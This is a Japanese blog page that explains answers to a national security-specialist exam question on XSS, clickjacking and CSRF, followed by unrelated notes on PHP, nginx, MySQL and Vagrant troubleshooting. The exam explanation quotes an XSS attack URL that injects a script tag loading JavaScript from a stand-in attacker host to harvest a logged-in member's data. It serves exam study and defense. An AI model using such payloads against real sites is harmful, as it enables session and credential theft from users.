読者です 読者をやめる 読者になる 読者になる

【セスペ】平成28年度春期午後1問1解説

難易度:易

 

概要

WebアプリケーションにおいてXSSCSRFの理解を問う問題。

 

設問1

(1)

図6の4行目の「action」の中身に「https://wana.example.jp/login」という記述があります。このことから、「ログイン」ボタンを押下すると「「https://wana.example.jp/login」」へ遷移することになります。

回答は、FQDNで回答する必要があります。

FQDNとは完全修飾ドメイン名のことです。つまり、Webサーバの名前をホスト名もドメイン名も省略しないで書いてくださいということです。「https://wana.example.jp/login」のホスト名は「wana」、ドメイン名は「example.jp」といったところでしょうか。これを省略しないで書くので「wana.example.jp」が答えです。

 

(2)

画面2-2'を表示する際は「https://kensho.m-sha.co.jp/Gamen2_2?keyword="<script src =%22https://wana.example.jp/Login.js%22>"」によって表示されるため、URLのホスト部FQDNで「kensho.m-sha.co.jp」です。

 

(3)

フレームを使用すると、Webページ上に自身とは異なるコンテンツを表示することができます。しかしながら、これはクリックジャッキングという攻撃を引き起こす原因となります。本来表示されるページのボタンに覆いかぶさるように悪意のあるページのボタンがある場合は、クライアントはボタン押下後に悪意のあるページに遷移されてしまいます。これを防ぐために、「Same Origin Policy」という仕組みで防御されています。

 

(4)

図7のコードでは「Same Origin Policy」が役立ちません、と書いてあります。このことから、設問箇所では「kensho.m-sha.co.jp」内のページを読み込んでいることがわかります。さらに「?」パラメータを以降でwana.example.jpのヤバそうなjsを渡しています。図4の図では、画面2-2のソースコードがありますが「keyword」に対して不正なスクリプトを入れ込むと良さそうです。

そのため、答えは「https://kensho.m-sha.co.jp/Gamen2_2」と「keyword」です。

これだと、「frame」要素が2つあるから、画面3_7と画面2-2の2つが表示されるから異変に気づかれてしまうのではないかと考えるかと思いますが、パラメータで指定しているjsで図6の1行目のような「document.body.innerHTML=""」で画面2-2が出ないようにしているものと思われます。画面2-2を利用しているのはパラメータ「keyword」に対して不正なスクリプトを埋め込めるためです。

 

(5)

(4)でも少し触れましたが図7のパラメータにはヤバそうなjsが指定されていました。おそらくこのjsで画面3-7で情報抽出をして、悪意のあるサーバに対して情報を送るものと考えられます。ユーザの情報がjsによって抽出されるためには、ユーザがログインをしている必要があります。

そのため、「懸賞メンバとしてログインしている場合」が答えです。

 

設問2

(1)

CSRF攻撃は別名として「リクエスト強要」と呼ばれます。例えば悪意のあるサイトでボタンをクリックしたとします。ボタン押下時に「2ちゃんねる」にリクエストが強要されて勝手に書き込みをされてしまう、というのがSCRFです。そのため、「2ちゃんねる」側の立場では、その人が正規のルートを辿って書き込みを行っているかを確認する必要があります。

これを予想不可能なランダムな値をWebサイトのhiddenタグに埋め込み、リクエスト時にサーバの保持するランダムな値と突き合わせを行い、リクエストが悪いものでないかを評価します。

そのため答えは「ランダムな値」「hidden」です。

 

(2)

先ほどの「2ちゃんねる」の話ではありませんが、書き込みを行って書き込みボタンを押すような操作がある箇所が該当箇所になります。

答えは(ウ)です。

 

設問3

(1)

設問1(4)では画面2-2に対して直接悪意のあるスクリプトを埋め込んでおりました。そのため、画面2-1で入力値のチェックを行っても画面2-2に対して不正なスクリプトを埋め込まれる危険性は無くなりません。

そのため、答えは「攻撃者は画面2-1を経由せずに2-2にアクセスできるから」となります。 

 

(2)

画面2-2への不正なスクリプトの埋め込みはフロントエンドで精一杯不正できましたが、サーバ側で画面2-2を表示する際に入力値チェックを行うのが良いです。

答えは「サーバサイド」です。

 

(3)

なんだこれー!

【php】arraylistに特定の文字列が入っているかを確認する

in_arrayを使用して実施するので、使い方はPHP: in_array - Manualを読んでください。

in_arrayメソッドには、第一引数で指定した値が、第二引数の配列に存在するかを評価し、boolean型で結果を返却してくれます。
オプションとして第三引数に評価の仕方を指定でき、「false」を指定すると「==」のような評価を行い 「true」にすると「===」の評価を行います。

「==」の評価では、何がtrueになり、何がfalseになるかをよく知っておく必要があります。
この公式サイト(PHP: PHP 型の比較表 - Manual)みると、「"php" == 0 」が「true」になるという恐ろしい事態が。。。


また、線形探索を行うので配列が大きいほど結果の返却に時間がかかることを抑えておきましょう。



参考
qiita.com

【nginx】"fastcgi://unix:/var/run/php/php7.0-fpm.sock:"がないよと言われる

「/var/run/php5-fpm.sock」のソケットファイルを使用して欲しいのに。。。
ここの設定の変更には「/etc/nginx/sites-available/homestead.app」から
設定の変更を行う。

    location ~ \.php$ {
        fastcgi_split_path_info ^(.+\.php)(/.+)$;
        fastcgi_pass unix:/var/run/php/php7.0-fpm.sock;
        fastcgi_index index.php;
        include fastcgi_params;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;

        fastcgi_intercept_errors off;
        fastcgi_buffer_size 16k;
        fastcgi_buffers 4 16k;
        fastcgi_connect_timeout 300;
        fastcgi_send_timeout 300;
        fastcgi_read_timeout 300;
    }

fastcgi_pass unix」の部分を「fastcgi_pass unix:/var/run/php5-fpm.sock;」にすればいけた。

【mysql】sqlファイルをインポート

エクスポートしたsqlファイルのインポートの方法。

mysql -u username -p database_name < file.sql

でOK。

【vagrant】vagrantでタブ文字が設定ファイルに含まれていたせいでエラー

以下のエラーが出てきたのでメモ。

 

>||

/opt/vagrant/embedded/lib/ruby/2.2.0/psych.rb:370:in `parse': (<unknown>): did not find expected '-' indicator while parsing a block collection at line 15 column 6 (Psych::SyntaxError)

||<

 

これ、本当に冗談かもしれないけど、設定ファイルにタブ文字とか、全然見た目わからないけどもかなり影響してるみたい。

エラーとしては「psych.rb」のファイルがおかしいと言われているが、とりあえず自分の手を加えたファイルで変なラブ文字がないかを探すのが良いと思う。タブ文字を表示できるエディタで手を加えたファイルを見てみたり、地道にコメントアウトをして調べたり。。。

 

私の場合は、Laravelの「~/.homestead/Homestead.yaml」ファイルの設定変更をしている際に発生。

この設定ファイルの自分が手を加えた部分を地道にコメントアウトしていってエラー箇所を絞って直した。

【vagrant】vagrant upでエラー

vagrant upをしたら、このようなエラーが発生。
調べてもあまり解決策と言えるものがなかったので、日本語メモ。

The specified host network collides with a non-hostonly network!
This will cause your specified IP to be inaccessible. Please change
the IP or name of your host only network so that it no longer matches that of
a bridged or non-hostonly network.

というエラーが出たら、virtualboxのネットワークの設定に問題があるので、確認をする。

赤い枠を部分をクリックして、
f:id:gamushiroS:20160807073005p:plain
環境設定をクリックする。macで行っているが、windowsも同じような部分があると思う。
f:id:gamushiroS:20160807073209p:plain
以下のような画面が出てくるので、赤枠で囲った部分を選択する。
そうすると、「vboxnet0」「vboxnet1」などが出てくる。
f:id:gamushiroS:20160807073359p:plain
「vboxnet0」「vboxnet1」のどちらかをダブルクリックして、設定されているIPアドレスを確認する。
f:id:gamushiroS:20160807073631p:plain

このIPと、vagrant upをする際に必要なIPを設定したファイルのIPがあっているかを確認する必要がある。
私は、Laravelを使用しているので、「~/.homestead/Homestead.yaml」に「ip: "192.168.33.1"」を
設定した。
これで「vagrant up」に成功する。

【mysql】mysqlで度重なるエラーで困った話

Can't connect to local MySQL server through socket '/tmp/mysql.sock' (2)'

これは「mysql」が起動されていないことが原因で発生するので、

mysql.server start

で起動できるはず。。。


でも、その次に「mysql -uroot」をしても

. ERROR! The server quit without updating PID file (/usr/local/var/mysql/********-no-MacBook-Pro.local.pid).

と出てきた。

この解決はファイルの所有権の変更、もしくはmysqlのプロセスを一度消すことで起動できるようになる。

ファイルの所有権の変更に関しては、

sudo chown -R _mysql:_mysql /usr/local/var/mysql

プロセスの削除に関しては、以下のコマンドで、mysqlが起動されているか確認をする。

ps -ef | grep mysql

このコマンドを実行すると、以下の順序でプロセスの情報が出力されるため、左から2番目のPID番号をメモしておく。
UID,PID,PPID,C,STIME,TTY,TIME,CMD
そして、以下のコマンドを実行。

sudo kill -9 [PID番号]

しかし、私の場合はよく分からないが先の「ps」コマンドで調べたPID番号を入力してもプロセスをkillすることができなかった。
え?と思ってもう一度「sudo kill - p [PID番号]」をやると、 PID番号が変わっていた。
は?と思って、何度も「sudo kill - p [PID番号]」をやるとPID番号がコマンドを実行するたびに2ずつ増えているでありませんか。
そのため、今のPID番号+2のPID番号を指定すれば。。。というおかしな勘でやってみるとプロセスをkillできた。
killができても、「ps -ef | grep mysql」をしてもまだプロセスが残っているがように見えるが、古いプロセスがkillされて
新しいプロセスが生成された、ぐらいに考えてここはこれでいいことにしよう。。。

mysql -uroot

mysqlに入れる。


参考
easyramble.com